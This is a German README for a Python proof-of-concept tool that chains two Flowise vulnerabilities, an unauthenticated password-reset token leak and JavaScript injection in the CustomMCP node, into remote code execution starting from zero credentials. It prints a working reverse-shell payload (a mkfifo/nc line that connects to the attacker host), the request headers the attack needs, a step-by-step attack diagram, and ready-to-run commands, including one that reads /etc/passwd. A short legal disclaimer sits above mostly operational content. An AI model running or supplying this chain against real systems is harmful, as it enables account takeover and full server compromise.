Modularer PoC für CVE-2025-58434 (Kontoübernahme) und CVE-2025-59528 (RCE) in Flowise. Automatisiert die vollständige Angriffskette vom nicht authentifizierten Token-Leck bis zur Remote-Code-Ausführung über eine Reverse Shell oder einen benutzerdefinierten Befehl.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung.
Die Ausführung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.
Dieses Repository kombiniert zwei kritische Sicherheitslücken in Flowise zu einem einzigen, modularen PoC-Tool.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Typ | Account-Übernahme | Remote-Code-Ausführung |
| Authentifizierung erforderlich | Keine | Ja (jedes gültige Konto) |
| CVSS | 9,8 Kritisch | Kritisch |
| Betroffen | Cloud + Selbst gehostet | Selbst gehostet |
Die beiden Schwachstellen verketten sich natürlich: CVE-2025-58434 ermöglicht eine nicht authentifizierte Account-Übernahme, was die Authentifizierungsanforderung für CVE-2025-59528 erfüllt – und in einem einzigen automatisierten Durchlauf nicht authentifizierte RCE erreicht.
Grundursache: Der Endpunkt forgot-password gibt den Passwort-Reset-Token (tempToken) direkt im HTTP-Antworttext zurück, anstatt ihn nur per E-Mail zu senden.
Angriffsschritte:
POST /api/v1/account/forgot-password mit einer beliebigen registrierten E-MailtempToken aus der JSON-Antwort auslesen – kein E-Mail-Zugriff erforderlichPOST /api/v1/account/reset-password mit dem durchgesickerten Token → neues Passwort setzenDurchgesickerte Antwort (gekürzt):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Grundursache: Der Knoten CustomMCP übergibt benutzergesteuertes mcpServerConfig direkt an den Function()-Konstruktor von JavaScript, ohne Bereinigung. Da Flowise in Node.js läuft, hat injizierter Code vollständigen Zugriff auf child_process, fs und alle Node.js-Builtins.
Verwundbarer Codepfad:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← unbereinigte Benutzereingabe
Erforderliche Header:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Standard-Injektionspayload (Reverse Shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Hinweis: Reverse-Shell-Payloads verwenden
cp.exec()(asynchron / Fire-and-Forget), sodass die HTTP-Anfrage sofort zurückkehrt und das Tool nicht aus Zeitüberschreitung ausfällt. Normale Befehle verwendencp.execSync()und geben die Ausgabe inline zurück.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Komponente | Status |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Von CVE-2025-58434 betroffen |
| Flowise selbst gehostet (alle Versionen vor dem Patch) | Von beiden CVEs betroffen |
Weitere Informationen finden Sie in den offiziellen Flowise-Sicherheitsadvisories für die Versionen mit Patch.
flowise-dual-cve-poc/
├── flowise_poc.py # Haupt-PoC – alle Module + Kettenmodus
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
└── DISCLAIMER.md # Vollständiger rechtlicher Hinweis
requests-Bibliothekgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Es ist kein Modus-Flag erforderlich. Wenn Sie das Skript ohne --chain oder --module ausführen, läuft es automatisch im vollständigen Kettenmodus. Der Standard-RCE-Payload ist eine Reverse Shell – geben Sie einfach --lhost und --lport an.
# Minimale Ausführung – vollständige Kette + Reverse Shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Starten Sie Ihren Listener vor der Ausführung:
nc -lvnp 4444
python3 flowise_poc.py -h
Führt alle vier Schritte Ende-zu-Ende aus: Token durchsickern lassen → Passwort zurücksetzen → Anmelden → RCE.
# Reverse Shell (Standard-Payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Eigener Befehl anstelle von Reverse Shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"